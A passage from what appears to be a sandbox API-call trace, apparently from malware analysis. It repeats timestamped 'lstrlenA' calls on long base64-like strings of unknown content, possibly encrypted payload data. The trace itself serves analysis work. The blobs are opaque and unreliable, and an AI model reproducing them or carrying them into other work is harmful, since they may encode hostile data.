dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="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